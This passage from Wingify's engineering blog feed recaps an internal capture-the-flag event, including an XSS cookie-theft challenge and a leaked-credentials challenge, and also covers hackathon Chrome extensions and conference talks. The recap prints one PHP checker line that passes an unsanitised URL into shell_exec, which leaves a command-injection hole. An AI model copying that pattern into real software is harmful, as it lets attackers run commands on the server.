extra information is served.&lt;/li&gt; &lt;li&gt;Versioning of APIs become simpler as we can control the exact information required.&lt;/li&gt; &lt;/ol&gt; &lt;h3 id=&quot;disadvantages-of-demand-driven-apis&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#disadvantages-of-demand-driven-apis&quot; aria-label=&quot;disadvantages of demand driven apis permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Disadvantages of Demand-driven APIs&lt;/h3&gt; &lt;ol&gt; &lt;li&gt;Latency may increase due to a single end point handling all the querying of data.&lt;/li&gt; &lt;li&gt;No lazy loading possible as it&apos;s a single call which will contain all the data.&lt;/li&gt; &lt;/ol&gt; &lt;h3 id=&quot;try-it-out&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#try-it-out&quot; aria-label=&quot;try it out permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Try it Out&lt;/h3&gt; &lt;p&gt;If you think GraphQL is promising go ahead and try it out. There is much more to it that you will love to learn. Check out its &lt;a href=&quot;http://graphql.org/learn/&quot;&gt;official documentation&lt;/a&gt;. It has been implemented in all the well known languages and you can find it all &lt;a href=&quot;http://graphql.org/code/&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;</content:encoded><author>Sahil Batla</author></item><item><title><![CDATA[Wingify's First Internal CTF]]></title><description><![CDATA[Capture the Flag (CTF) is a special kind of information security competition which provides a safe and legal way to try your hand at hacking…]]></description><link>https://engineering.wingify.com//posts/wingify-capture-the-flag/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/wingify-capture-the-flag/</guid><pubDate>Fri, 19 May 2017 00:00:00 GMT</pubDate><content:encoded>&lt;p style=&quot;text-align: center;&quot;&gt; &lt;img src=&quot;/images/2017/05/ctf_logo.png&quot;&gt; &lt;/p&gt; Have you ever seen a bunch of geeks lock themselves up in a room, hacking throughout the day? This was witnessed when Wingify had its very first Capture The Flag battle. &lt;p&gt;Capture the Flag (CTF) is a special kind of information security competition which provides a safe and legal way to try your hand at hacking challenges. We have learned a lot of computer science and security concepts in classes, and by reading articles. But participating in a CTF actually teaches how to break into things when they are not implemented properly, which happens all the time in the real world. In this, all you need to do is to find a flag which is a proof that you solved the puzzle, and submitting it to the platform earns your team points. Flags are typically chosen to look very distinctive, so that when you see one, you’ll know that it’s a flag, and that you’ve solved the puzzle. For example, &lt;code class=&quot;language-text&quot;&gt;flag{congr4tz_y0u_found_1t}&lt;/code&gt;.&lt;/p&gt; &lt;p style=&quot;text-align: center; margin: 10px;&quot;&gt; &lt;img style=&quot;width: 80%;&quot; src=&quot;/images/2017/05/ctf_pic.jpg&quot;&gt; &lt;/p&gt; &lt;h3 id=&quot;preparation&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#preparation&quot; aria-label=&quot;preparation permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Preparation&lt;/h3&gt; &lt;p&gt;Sometime back, &lt;a href=&quot;https://github.com/facebook/fbctf&quot;&gt;Facebook open-sourced a platform&lt;/a&gt; to host &lt;a href=&quot;https://ctftime.org/ctf-wtf/&quot;&gt;Jeopardy styled CTF competitions&lt;/a&gt; and we couldn&apos;t resist ourselves from using it. It&apos;s simply amazing and sleek. It took around 2-3 weeks to prepare for the event and we had fun brainstorming creating the problem set. Creating the problems required thinking of some real world scenarios from the field of software development and security and combine them with references like Mr. Robot, Snowden, etc. A few ideas were taken from prior experience participating in online CTFs and &lt;a href=&quot;http://overthewire.org/wargames/&quot;&gt;Wargames&lt;/a&gt;.&lt;/p&gt; &lt;h3 id=&quot;event&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#event&quot; aria-label=&quot;event permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Event&lt;/h3&gt; &lt;p&gt;Wingify CTF was an internal event and very first of its type. Bonus points were offered for teaming up with someone from a non-engineering role. We saw some great participation from the customer support, customer success &amp;#x26; marketing teams as well. To bring everyone on the same page, participants were asked to register for the event by solving a teaser. And the teaser was to find a flag in a registration form. You&apos;d be surprised to hear that the form was made using Google Forms 😮.&lt;/p&gt; &lt;p&gt;It was an 8-hour long online event which had 45 participants among 16 teams. There was a total of 12 challenges ranging between 40 and 400 based on the difficulty level with total available 1840 points. The set of challenges included problems in web application security and forensics. There was another teaser to be solved before starting off the real game. Early in the CTF, everyone was doing pretty well especially team Matrix and Hunters. In half of the time, quite a good number of hackers were already done with all the problems except the two most difficult ones. When the team Rootcon and Hustlers solved the challenge worth 400 points, they were the clear winners on everyone&apos;s mind. But as they say, it&apos;s not over till it&apos;s over. At the last-minute when team RSS captured that big flag and stood the first place, it was the same feeling like a dramatic last-minute goal in Football.👏&lt;/p&gt; &lt;h3 id=&quot;challenges&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#challenges&quot; aria-label=&quot;challenges permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Challenges&lt;/h3&gt; &lt;p&gt;I&apos;d like to mention some of the interesting challenges.&lt;/p&gt; &lt;ol&gt; &lt;li&gt;&lt;strong&gt;XSS&lt;/strong&gt; - When we talk about Frontend security, cross-site scripting is the first vulnerability that comes to everyone&apos;s mind. One of the challenges was to detect an XSS vulnerability and exploit it by stealing the cookies. The key challenge while creating this problem was using PhantomJS, a headless WebKit, to check whether the XSS payload got successfully triggered. &lt;code class=&quot;language-text&quot;&gt;shell_exec(&amp;#39;phantomjs fake-browser.js --url&amp;#39; . $url . &amp;#39; --password &amp;#39; . getenv(&amp;#39;FLAG&amp;#39;));&lt;/code&gt;&lt;/li&gt; &lt;li&gt;&lt;strong&gt;S3 Secrets/Credentials&lt;/strong&gt; - This problem was based on the fact that the credentials, such as Amazon S3 keys, Github tokens, and passwords, are &lt;a href=&quot;https://news.ycombinator.com/item?id=13650818&quot;&gt;often included in published GitHub repositories&lt;/a&gt;. Once you have put sensitive data in a Git repository, it is going to stay in the repo&apos;s history forever (&lt;a href=&quot;https://help.github.com/articles/removing-sensitive-data-from-a-repository/&quot;&gt;there are ways to avoid this&lt;/a&gt;).&lt;/li&gt; &lt;li&gt;&lt;strong&gt;Encryption&lt;/strong&gt; - One of my personal favorites was the problem requiring teams to calculate the MD5 of a given string. Sounds pretty straight, right? The challenge is right here in front of you&lt;!-- Not here 😉 --&gt;. Can you capture the flag and send it to ctf@wingify.com? 😊&lt;/li&gt; &lt;/ol&gt; &lt;h3 id=&quot;winners&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#winners&quot; aria-label=&quot;winners permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Winners&lt;/h3&gt; &lt;p style=&quot;text-align: center;&quot;&gt; &lt;img style=&quot;width: 85%;&quot; src=&quot;/images/2017/05/ctf_result.png&quot;&gt; &lt;/p&gt; &lt;ol&gt; &lt;li&gt;&lt;strong&gt;Team RSS&lt;/strong&gt; - &lt;a href=&quot;https://twitter.com/squiroid&quot;&gt;Rachit Gulati&lt;/a&gt;, &lt;a href=&quot;https://in.linkedin.com/in/sahil-bathla-11a7815b&quot;&gt;Sahil Batla&lt;/a&gt;, and &lt;a href=&quot;https://in.linkedin.com/in/sndpsngh&quot;&gt;Sandeep Singh&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;strong&gt;Team ROOTCON&lt;/strong&gt; - &lt;a href=&quot;https://twitter.com/gauravmuk&quot;&gt;Gaurav Nanda&lt;/a&gt;, &lt;a href=&quot;https://twitter.com/akanshgulati&quot;&gt;Aakansh Gulati&lt;/a&gt;, and &lt;a href=&quot;https://twitter.com/_ankitag_&quot;&gt;Ankita Gupta&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;strong&gt;Team HUSTLERS&lt;/strong&gt; - &lt;a href=&quot;https://in.linkedin.com/in/rahul-kumar-5676a020&quot;&gt;Rahul Kumar&lt;/a&gt;, &lt;a href=&quot;https://twitter.com/arunsori&quot;&gt;Arun Sori&lt;/a&gt;, and &lt;a href=&quot;https://twitter.com/dinkarpundir&quot;&gt;Dinkar Pundir&lt;/a&gt;&lt;/li&gt; &lt;/ol&gt; &lt;p&gt;Each participant from the top two teams was given &lt;a href=&quot;https://en.wikipedia.org/wiki/YubiKey&quot;&gt;Yubikey&lt;/a&gt; and Bluetooth Speaker respectively.&lt;/p&gt; &lt;p&gt;&lt;a href=&quot;https://in.linkedin.com/in/chhavi-khandelwal-4587513b&quot;&gt;Chhavi&lt;/a&gt; and I were able to pull off the event successfully. It turned out to be great and everyone had fun hacking together. I would highly recommend doing something like this for your organization. This will surely increase the breadth of security knowledge.&lt;/p&gt; &lt;h3 id=&quot;mini-ctf-external&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#mini-ctf-external&quot; aria-label=&quot;mini ctf external permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Mini CTF (External)&lt;/h3&gt; &lt;p&gt;Last week, Wingify hosted a &lt;a href=&quot;https://meetup.com/PyDataDelhi/events/239902014/&quot;&gt;PyData Meetup&lt;/a&gt; and attendees played a quick round of CTF. You can find the pictures below.&lt;/p&gt; &lt;div id=&quot;fifth-elephant-gallery&quot;&gt; &lt;img src=&quot;/images/2017/05/ctf_meetup.jpg&quot;&gt; &lt;img src=&quot;/images/2017/05/ctf_meetup2.jpg&quot;&gt; &lt;img src=&quot;/images/2017/05/ctf_meetup3.jpg&quot;&gt; &lt;img src=&quot;/images/2017/05/ctf_scoreboard.JPG&quot;&gt; &lt;img src=&quot;/images/2017/05/ctf_prize1.jpg&quot;&gt; &lt;img src=&quot;/images/2017/05/ctf_prize2.jpg&quot;&gt; &lt;/div&gt; &lt;p&gt;If you would like to practice for such events, you should definitely participate in the online CTFs. You can find the &lt;a href=&quot;http://captf.com/practice-ctf/&quot;&gt;list of long-running CTFs&lt;/a&gt;. And if you like playing CTFs, we are hiring for &lt;a href=&quot;https://wingify.recruiterbox.com/jobs/fk0m8cr/&quot;&gt;Security Engineer position&lt;/a&gt; 😍 🙂.&lt;/p&gt;</content:encoded><author>Dheeraj Joshi</author></item><item><title><![CDATA[Wingify Hackathon - Sum It Up]]></title><description><![CDATA[I am a frontend developer at Wingify and I am building a really awesome product, PushCrew. Last month, we had a hackathon. The idea was to…]]></description><link>https://engineering.wingify.com//posts/wingify-hackathon-sum-it-up/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/wingify-hackathon-sum-it-up/</guid><pubDate>Wed, 03 May 2017 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;I am a frontend developer at Wingify and I am building a really awesome product, &lt;a href=&quot;https://pushcrew.com/&quot;&gt;PushCrew&lt;/a&gt;. Last month, &lt;a href=&quot;https://medium.com/@wingify/hacking-away-the-night-at-wingify-cbe33a39f28d&quot;&gt;we had a hackathon&lt;/a&gt;. The idea was to &lt;b&gt;&apos;Solve Daily Problems&apos;&lt;/b&gt;, interesting right? 😃&lt;/p&gt; &lt;div class=&quot;post-info-box&quot;&gt; &lt;p&gt;This post is a part of March&apos;17 Hackathon Project series. Here are the other posts in the series:&lt;/p&gt; &lt;ul&gt; &lt;li&gt; &lt;a href=&quot;/posts/wingify-hackathon-vwo-xray/&quot;&gt; VWO X-Ray &lt;/a&gt; &lt;/li&gt; &lt;/ul&gt; &lt;/div&gt; &lt;p&gt;I am an avid reader and I read a lot of stuff on the web, but I often find myself copying parts of different articles and pasting in my notepad. I always thought that it would be a great idea to have all my summaries at single place. I wanted a platform that could show all the highlighted parts of the articles that I have liked without me having to juggle between different tabs. So instead of waiting for an app like this to be built, I went ahead and created a micro bookmarker at the hackathon.&lt;/p&gt; &lt;div style=&quot;text-align:center; margin: 10px;&quot;&gt; &lt;img src=&quot;/images/2017/05/jesus_meme.png&quot; style=&quot;box-shadow: 1px 2px 10px 1px #aaa&quot;&gt; &lt;/div&gt; &lt;p&gt;My idea was simple, and I knew that I could build it alone. So I was a one-person team (Obviously me! 😛 ).&lt;/p&gt; &lt;div style=&quot;text-align:center; margin: 10px;&quot;&gt; &lt;img src=&quot;/images/2017/05/alone.png&quot; style=&quot;box-shadow: 1px 2px 10px 1px #aaa&quot;&gt; &lt;/div&gt; &lt;p&gt;The idea was not just to build, but also to learn something new because that&apos;s the whole purpose of attending a hackathon, right? Since I had never built a Chrome extension before, I started reading about how to build an extension and took some guidance from our in-house &lt;a href=&quot;https://twitter.com/chinchang457&quot;&gt;frontend God, a.k.a chinchang&lt;/a&gt; 😛 . I devoted some good chunk of time to decide my strategy for building the product.&lt;/p&gt; &lt;p&gt;So, after spending an entire night on coke and pizzas, I was able to build a beautiful extension which was working, and solving, at least my problem of highlighting parts of articles that I liked on the web. I really hope it helps a lot of people (read: readers) as well.&lt;/p&gt; &lt;p&gt;&lt;a href=&quot;http://rachitgulati.com/sum-it-up/&quot;&gt;Download&lt;/a&gt; this awesome application now 🤘 .&lt;/p&gt; &lt;p&gt;Here are a few glimpses of my hack.&lt;/p&gt; &lt;div style=&quot;text-align:center; margin: 10px; box-shadow: 1px 2px 10px 1px #aaa&quot;&gt; &lt;img src=&quot;/images/2017/05/sum_it_up_1.gif&quot; alt=&quot;Sum It Up demo&quot;&gt; &lt;/div&gt; &lt;div style=&quot;text-align:center; margin: 30px 10px; box-shadow: 1px 2px 10px 1px #aaa&quot;&gt; &lt;img src=&quot;/images/2017/05/sum_it_up_2.gif&quot; alt=&quot;Another Sum It Up demo&quot;&gt; &lt;/div&gt; &lt;p&gt;&lt;b&gt;Prohibited content (Only for geeks):&lt;/b&gt;&lt;/p&gt; &lt;p&gt;&lt;i&gt;As soon as the user selects some text on the page (HTML) and right clicks on it, (s)he is shown an option to &apos;Save to Sum it up&apos; in the context menu. On clicking the option, Sum It Up saves the highlighted data (color, text, DOM node, page URL, timestamp etc.) in the JSON format to the local storage (so no breachment of privacy) inside the Chrome browser. The main challenge was to maintain the highlighter for the partial DOM selection which I have solved by putting the custom span tag to all the elements which reside in that selected area.&lt;/i&gt;&lt;/p&gt; &lt;p&gt;Some features that you might find useful are:&lt;/p&gt; &lt;ol&gt; &lt;li&gt;(High) light it up.&lt;/li&gt; &lt;li&gt;Collect your notes.&lt;/li&gt; &lt;li&gt;Email them.&lt;/li&gt; &lt;li&gt;Searching made easy.&lt;/li&gt; &lt;li&gt;Tweet your note.&lt;/li&gt; &lt;li&gt;Are you a markdown lover? Yes you can export in markdown too.&lt;/li&gt; &lt;li&gt;Directly jump to the micro section of the website.&lt;/li&gt; &lt;/ol&gt; &lt;p&gt;Sum It Up got featured on &lt;a href=&quot;https://www.producthunt.com/posts/sum-it-up&quot;&gt;Product Hunt&lt;/a&gt; too! Yippee :) (My very first submission on Product Hunt and that too got featured, it&apos;s like Diwali Bonus 😀 )&lt;/p&gt; &lt;p&gt;PS: This is my first blog post so please be kind to me. I am open to any feedback 😀&lt;/p&gt;</content:encoded><author>Rachit</author></item><item><title><![CDATA[Wingify Hackathon - VWO X-Ray]]></title><description><![CDATA[Recently, Wingify had organised a 24-hour Internal Hackathon where the developers from Wingify created a lot of awesome projects for daily…]]></description><link>https://engineering.wingify.com//posts/wingify-hackathon-vwo-xray/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/wingify-hackathon-vwo-xray/</guid><pubDate>Sun, 02 Apr 2017 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Recently, Wingify had organised a 24-hour &lt;a href=&quot;https://medium.com/@wingify/hacking-away-the-night-at-wingify-cbe33a39f28d&quot;&gt;Internal Hackathon&lt;/a&gt; where the developers from Wingify created a lot of awesome projects for daily use. The theme was &lt;i&gt;&lt;b&gt;&quot;Solve Daily Problems&quot;&lt;/b&gt;&lt;/i&gt;. Be it a generic problem or an internal team problem, hackers from Wingify tried to solve many problems over the night. So, &lt;a href=&quot;https://www.linkedin.com/in/pramoddutta/&quot;&gt;Pramod Dutta&lt;/a&gt; and I created a Google Chrome extension &lt;b&gt;&quot;VWO X-Ray&quot;&lt;/b&gt; (&lt;i&gt;one of the winners&lt;/i&gt;), which has proved to be helpful to our internal team.&lt;/p&gt; &lt;p&gt;VWO X-Ray was created to easily debug the VWO SmartCode on a website. Whether it&apos;s a developer or a Customer Happiness Engineer or a client, they need some basic information about VWO running on a particular page. This Google Chrome extension enables the user to view the account ID, the running VWO campaigns and the cookies created by VWO on that page. The basic features of the extension are:&lt;/p&gt; &lt;ol&gt; &lt;li&gt;View account ID on the page and impersonate into it directly.&lt;/li&gt; &lt;li&gt;The &lt;i&gt;Home Tab&lt;/i&gt; will show all campaigns on the page and their information like whether campaigns are running, segmentations passed etc.&lt;/li&gt; &lt;li&gt;Directly open a specific campaign, with a single click, into the VWO app.&lt;/li&gt; &lt;li&gt;Directly copy the &quot;Share report link&quot; of the campaign and share it with anyone.&lt;/li&gt; &lt;li&gt;View VWO cookies&apos; information in a detailed and clear view.&lt;/li&gt; &lt;li&gt;Notification feature when any campaign variation is applied on the page or any goal has been triggered.&lt;/li&gt; &lt;li&gt;The &lt;i&gt;Full Data Tab&lt;/i&gt; will give you a glimpse of the app dashboard. You can change the account ID to get any other account&apos;s data.&lt;/li&gt; &lt;li&gt;The &lt;i&gt;Session Data Tab&lt;/i&gt; will show current session&apos;s information (Track and Analyse), various campaigns&apos; data and goals&apos; data (which ones have been triggered and which ones have not been).&lt;/li&gt; &lt;li&gt;The &lt;i&gt;Impersonate Tab&lt;/i&gt; will enable you to impersonate into any account and campaign directly. Just enter the account ID and campaign ID(optional).&lt;/li&gt; &lt;li&gt;This extension, by default, makes 100% sampling rate for Track and Analyse campaigns (most wanted feature for our QA team and Customer Happiness Engineers team).&lt;/li&gt; &lt;/ol&gt; &lt;p&gt;Here are some screenshots of the VWO X-Ray extension running on our &lt;a href=&quot;http://vwo.com&quot;&gt;vwo.com&lt;/a&gt; website:&lt;/p&gt; &lt;div style=&quot;text-align:center; margin: 10px;&quot;&gt; &lt;img src=&quot;/images/2017/04/vwo_xray_1.png&quot; style=&quot;box-shadow: 1px 2px 10px 1px #aaa&quot;&gt; &lt;div style=&quot;margin: 10px;&quot;&gt;The various campaigns running on the page and their statuses&lt;/div&gt; &lt;/div&gt; &lt;br/&gt; &lt;div style=&quot;text-align:center; margin: 10px;&quot;&gt; &lt;img src=&quot;/images/2017/04/vwo_xray_2.png&quot; style=&quot;box-shadow: 1px 2px 10px 1px #aaa&quot;&gt; &lt;div style=&quot;margin: 10px;&quot;&gt;A clear view of the session data information&lt;/div&gt; &lt;/div&gt; &lt;p&gt;We will also be shortly releasing this to our clients, so that they too can get basic information just by using the extension.&lt;/p&gt; &lt;p&gt;Here is the demo of VWO X-Ray:&lt;/p&gt; &lt;div style=&quot;text-align:center; margin: 10px;&quot;&gt; &lt;img src=&quot;/images/2017/04/vwo_xray_3.gif&quot;&gt; &lt;/div&gt;</content:encoded><author>Hemkaran Raghav</author></item><item><title><![CDATA[Wingify at Europe/UK Conferences]]></title><description><![CDATA[Last two months were quite amazing for me as a Wingifighter; I was on a traveling spree over Italy and London. I got an opportunity to…]]></description><link>https://engineering.wingify.com//posts/wingify-at-europe-uk-conferences/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/wingify-at-europe-uk-conferences/</guid><pubDate>Sun, 25 Dec 2016 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Last two months were quite amazing for me as a Wingifighter; I was on a traveling spree over Italy and London. I got an opportunity to attend and speak at various international conferences and meetups there, which gave me new insights on the importance of JavaScript and Security. It was a new experience for me as I got a chance to meet some great people and learn a lot from them. This post is about my learnings and overall experience representing Wingify and driving the concept of Web Security at various tech events.&lt;/p&gt; &lt;p style=&quot;text-align: center;&quot;&gt; &lt;img src=&quot;/images/2016/12/tshirts.jpg&quot;&gt; &lt;/p&gt; &lt;h3 id=&quot;1-nodejs-conference-italy-22nd-october-2016&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#1-nodejs-conference-italy-22nd-october-2016&quot; aria-label=&quot;1 nodejs conference italy 22nd october 2016 permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&lt;a href=&quot;http://nodejsconf.it/talk/lets-talk-security/&quot;&gt;1) Node.js Conference, Italy (22nd October 2016)&lt;/a&gt;&lt;/h3&gt; &lt;p&gt;I attended my first International Conference which was held at a beautiful place – Desenzano del Garda, Italy. I was one of the speakers and I talked about &lt;a href=&quot;http://nodejsconf.it/talk/lets-talk-security/&quot;&gt;Node.js Security&lt;/a&gt;.&lt;/p&gt; &lt;p style=&quot;text-align: center;&quot;&gt; &lt;img width=&quot;400&quot; height=&quot;300px&quot; src=&quot;/images/2016/12/nodeconfit.jpg&quot;&gt; &lt;/p&gt; The conference started with a keynote by Microsoft&apos;s Bryan Hughes ([@nebrius][11]) about the Node.js community and its evolution. He later introduced us to the Node.js foundation hierarchy and how it operates at various levels. Other speakers, too, touched various relevant and interesting topics including AsyncHooks, Load Balancing, and Deploying Node.js at scale. You can find more information at [http://nodejsconf.it/][18] &lt;p&gt;Speaker dinners were a great platform where I got to interact and network with fellow speakers. I also met &lt;a href=&quot;https://github.com/feross10&quot;&gt;Feross&lt;/a&gt; and I found him to be very humble and polite. He insisted on why fun side-projects are important and why you should keep doing them. And that’s why Wingify runs &quot;Show n Tell&quot; in which Wingifighters demonstrate and discuss any side projects that they are working on.&lt;/p&gt; &lt;p&gt;I spent the rest of my time in Italy in traveling and had a wonderful experience. I fell in Love with Gelatos🍦.&lt;/p&gt; &lt;h3 id=&quot;2-london-ajax-meetup-14th-november-2016&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#2-london-ajax-meetup-14th-november-2016&quot; aria-label=&quot;2 london ajax meetup 14th november 2016 permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&lt;a href=&quot;https://www.meetup.com/halfstack/events/234651138/&quot;&gt;2) London Ajax Meetup (14th November 2016)&lt;/a&gt;&lt;/h3&gt; &lt;p 